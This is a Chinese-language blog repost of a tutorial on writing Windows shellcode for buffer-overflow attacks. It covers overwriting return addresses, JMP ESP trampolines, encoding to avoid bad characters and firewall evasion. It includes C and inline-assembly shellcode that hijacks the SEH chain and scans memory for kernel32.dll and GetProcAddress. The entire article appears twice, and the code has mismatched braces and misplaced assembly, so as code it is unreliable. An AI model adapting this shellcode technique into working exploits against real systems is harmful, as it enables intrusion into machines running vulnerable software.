WINDOWS的SHELLCODE编写高级技巧
生活随笔
收集整理的這篇文章主要介紹了
WINDOWS的SHELLCODE编写高级技巧
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
WINDOWS的SHELLCODE編寫高級技巧
????unix等系統因為有用戶概念,所以往往溢出是使用先得到普通帳號,然后登陸后用溢出
再加載一個SHELL的辦法得到ROOT權限,其系統調用又方便,所以SHELLCODE編寫一般都比
較簡單。但WINDOWS系統往往不提供登陸服務,所以溢出攻擊的SHELLCODE往往要提供SOCKET
連接,要加載程序得到SHELL等,而WINDOWS的系統調用int2e接口又不如unix系統調用int80
規范,所以一般都使用API,而API函數地址又因為系統版本的不同而不一樣,所以要編寫
WINDOWS下面比較實用、通用點的SHELLCODE比較麻煩。
????經過一段時間的思考,得到了WINDOWS下編寫SHELLCODE的比教好的辦法。
????1、溢出點確定。使用溢出點附近覆蓋一片一個RET指令地址的辦法,這樣只要知道溢出
????點大致范圍就可以了。
????2、SHELLCODE定位。使用ESP寄存器定位,只要前面那覆蓋的RET地址后面放一個JMP
????ESP功能的指令地址就可以定位了。
????3、RET指令地址、JMP ESP功能指令地址采用代碼頁里面的地址,54??C3,或者FF E4
????、C3這個一個語言的WINDOWS地址固定,也很好找這個地址。
????4、SHELLCODE直接使用C語言編寫,方便編寫、修改、調試。
????5、SHELLCODE統一編碼,滿足應用條件對SHELLCODE字符的限制,用一段小匯編代碼解
????碼,這樣編寫SHELLCODE就可以不用考慮特殊字符了。
????6、通信加密,對付防火墻,實現FTP功能,實現內存直接接管WEB服務等的高級應用。
????下面主要介紹介紹編寫通用SHELLCODE的辦法。主要SHELLCODE里面使用的API自己用
GetProcAddress定位,要使用庫用LoadLibraryA加載。那這樣SHELLCODE就只依靠這兩個
API了。那這兩個API的地址又怎么解決呢,LoadLibraryA這個API在系統庫KERNEL32.DLL里
面,也可以使用GetProcAddress得到。那關鍵就是要找到系統庫kernel32.dll和
GetProcAddress的地址了。因為一般應用程序都會加載kernel32.dll,所以解決辦法就是在
內存里面找到這個系統庫和API地址,所幸知道了WINDOWS的模塊數據結構也就不難了,主要
是增加異常結構處理 。下面是VC6.0程序代碼:
void shellcodefn()
{
???int?????????*except[3];
???FARPROC?????procgetadd=0;
???char????????*stradd;
???int?????????imgbase,fnbase,i,k,l;
???HANDLE??????libhandle;
???_asm {
?????jmp??????????nextcall
?????getstradd:???pop????stradd
??????????????????lea????EDI,except
????????????mov????eax,dword ptr FS:[0]
????????????mov????dword ptr [edi+0x08],eax
????????????mov????dword ptr FS:[0],EDI
????}
????except[0]=0xffffffff;
????except[1]=stradd-0x07;
/* 保存異常結構鏈和修改異常結構鏈,SHELLCODE接管異常 */
????imgbase=0x77e00000;
/* 搜索KERNEL32.DLL 的起始其實地址 */
?????????call getexceptretadd
???}
/* 得到異常后的返回地址 */
???for(;imgbase<0xbffa0000,procgetadd==0;){
???????imgbase+=0x10000;
/*??模塊地址是64K為單位,加快速度*/
???????if(imgbase==0x78000000) imgbase=0xbff00000;
/*??如果到這還沒有搜索到,那可能是WIN9X系統 */
???????if(*( WORD *)imgbase=='ZM'&& *(WORD *)
???????(imgbase+*(int *)(imgbase+0x3c))=='EP'){
/* 模塊結構的模塊頭 */
?????????fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
?????????k=*(int *)(fnbase+0xc)+imgbase;
?????????if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
/* 模塊名 */
?????????????libhandle=imgbase;
/* 得到模塊頭地址,就是模塊句柄 */
?????????????k=imgbase+*(int *)(fnbase+0x20);
?????????????for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
???????????????????if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor'){
/* 引出名 */
???????????????????k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
???????????????????k+=*(int *)(fnbase+0x10)-1;
???????????????????k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
???????????????????procgetadd=k+imgbase;
/* API地址 */
???????????????????break;
?????????????}
??????????}
????????}
????}
}
// 搜索KERNEL32。DLL模塊地址和API函數 GetProcAddress地址
// 注意這兒處理了搜索頁面不在情況。
???_asm{
???????lea edi,except
??????????mov eax,dword ptr [edi+0x08]
???????mov dword ptr fs:[0],eax
???}
/* 恢復異常結構鏈 */
if(procgetadd==0) goto??die ;
/* 如果沒找到GetProcAddress地址死循環 */
??die: goto die??;
??_asm{
getexceptretadd:???pop??eax
?????????????push eax
?????????????mov??edi,dword ptr [stradd]
?????????????mov dword ptr [edi-0x0e],eax
?????????????ret
/* 得到異常后的返回地址,并填寫到異常處理模塊 */
/* 異常處理模塊 */
errprogram:?????????mov eax,dword ptr [esp+0x0c]
?????????????add eax,0xb8
?????????????mov dword ptr [eax],0x11223344 //stradd-0xe
/* 修改異常返回EIP指針 */
?????????????xor eax,eax??????????????//2
/* 不提示異常 */
?????????????ret??????????????????//1
/* 異常處理返回 */
execptprogram:?????jmp errprogram??????????????//2 bytes stradd-7
nextcall:??????????call getstradd??????????????//5 bytes
???}
}
????unix等系統因為有用戶概念,所以往往溢出是使用先得到普通帳號,然后登陸后用溢出
再加載一個SHELL的辦法得到ROOT權限,其系統調用又方便,所以SHELLCODE編寫一般都比
較簡單。但WINDOWS系統往往不提供登陸服務,所以溢出攻擊的SHELLCODE往往要提供SOCKET
連接,要加載程序得到SHELL等,而WINDOWS的系統調用int2e接口又不如unix系統調用int80
規范,所以一般都使用API,而API函數地址又因為系統版本的不同而不一樣,所以要編寫
WINDOWS下面比較實用、通用點的SHELLCODE比較麻煩。
????經過一段時間的思考,得到了WINDOWS下編寫SHELLCODE的比教好的辦法。
????1、溢出點確定。使用溢出點附近覆蓋一片一個RET指令地址的辦法,這樣只要知道溢出
????點大致范圍就可以了。
????2、SHELLCODE定位。使用ESP寄存器定位,只要前面那覆蓋的RET地址后面放一個JMP
????ESP功能的指令地址就可以定位了。
????3、RET指令地址、JMP ESP功能指令地址采用代碼頁里面的地址,54??C3,或者FF E4
????、C3這個一個語言的WINDOWS地址固定,也很好找這個地址。
????4、SHELLCODE直接使用C語言編寫,方便編寫、修改、調試。
????5、SHELLCODE統一編碼,滿足應用條件對SHELLCODE字符的限制,用一段小匯編代碼解
????碼,這樣編寫SHELLCODE就可以不用考慮特殊字符了。
????6、通信加密,對付防火墻,實現FTP功能,實現內存直接接管WEB服務等的高級應用。
????下面主要介紹介紹編寫通用SHELLCODE的辦法。主要SHELLCODE里面使用的API自己用
GetProcAddress定位,要使用庫用LoadLibraryA加載。那這樣SHELLCODE就只依靠這兩個
API了。那這兩個API的地址又怎么解決呢,LoadLibraryA這個API在系統庫KERNEL32.DLL里
面,也可以使用GetProcAddress得到。那關鍵就是要找到系統庫kernel32.dll和
GetProcAddress的地址了。因為一般應用程序都會加載kernel32.dll,所以解決辦法就是在
內存里面找到這個系統庫和API地址,所幸知道了WINDOWS的模塊數據結構也就不難了,主要
是增加異常結構處理 。下面是VC6.0程序代碼:
void shellcodefn()
{
???int?????????*except[3];
???FARPROC?????procgetadd=0;
???char????????*stradd;
???int?????????imgbase,fnbase,i,k,l;
???HANDLE??????libhandle;
???_asm {
?????jmp??????????nextcall
?????getstradd:???pop????stradd
??????????????????lea????EDI,except
????????????mov????eax,dword ptr FS:[0]
????????????mov????dword ptr [edi+0x08],eax
????????????mov????dword ptr FS:[0],EDI
????}
????except[0]=0xffffffff;
????except[1]=stradd-0x07;
/* 保存異常結構鏈和修改異常結構鏈,SHELLCODE接管異常 */
????imgbase=0x77e00000;
/* 搜索KERNEL32.DLL 的起始其實地址 */
?????????call getexceptretadd
???}
/* 得到異常后的返回地址 */
???for(;imgbase<0xbffa0000,procgetadd==0;){
???????imgbase+=0x10000;
/*??模塊地址是64K為單位,加快速度*/
???????if(imgbase==0x78000000) imgbase=0xbff00000;
/*??如果到這還沒有搜索到,那可能是WIN9X系統 */
???????if(*( WORD *)imgbase=='ZM'&& *(WORD *)
???????(imgbase+*(int *)(imgbase+0x3c))=='EP'){
/* 模塊結構的模塊頭 */
?????????fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
?????????k=*(int *)(fnbase+0xc)+imgbase;
?????????if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
/* 模塊名 */
?????????????libhandle=imgbase;
/* 得到模塊頭地址,就是模塊句柄 */
?????????????k=imgbase+*(int *)(fnbase+0x20);
?????????????for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
???????????????????if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor'){
/* 引出名 */
???????????????????k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
???????????????????k+=*(int *)(fnbase+0x10)-1;
???????????????????k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
???????????????????procgetadd=k+imgbase;
/* API地址 */
???????????????????break;
?????????????}
??????????}
????????}
????}
}
// 搜索KERNEL32。DLL模塊地址和API函數 GetProcAddress地址
// 注意這兒處理了搜索頁面不在情況。
???_asm{
???????lea edi,except
??????????mov eax,dword ptr [edi+0x08]
???????mov dword ptr fs:[0],eax
???}
/* 恢復異常結構鏈 */
if(procgetadd==0) goto??die ;
/* 如果沒找到GetProcAddress地址死循環 */
??die: goto die??;
??_asm{
getexceptretadd:???pop??eax
?????????????push eax
?????????????mov??edi,dword ptr [stradd]
?????????????mov dword ptr [edi-0x0e],eax
?????????????ret
/* 得到異常后的返回地址,并填寫到異常處理模塊 */
/* 異常處理模塊 */
errprogram:?????????mov eax,dword ptr [esp+0x0c]
?????????????add eax,0xb8
?????????????mov dword ptr [eax],0x11223344 //stradd-0xe
/* 修改異常返回EIP指針 */
?????????????xor eax,eax??????????????//2
/* 不提示異常 */
?????????????ret??????????????????//1
/* 異常處理返回 */
execptprogram:?????jmp errprogram??????????????//2 bytes stradd-7
nextcall:??????????call getstradd??????????????//5 bytes
???}
}
總結
以上是生活随笔為你收集整理的WINDOWS的SHELLCODE编写高级技巧的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 为什么开了数据不能上网_Doinb和LC
- 下一篇: python long函数_python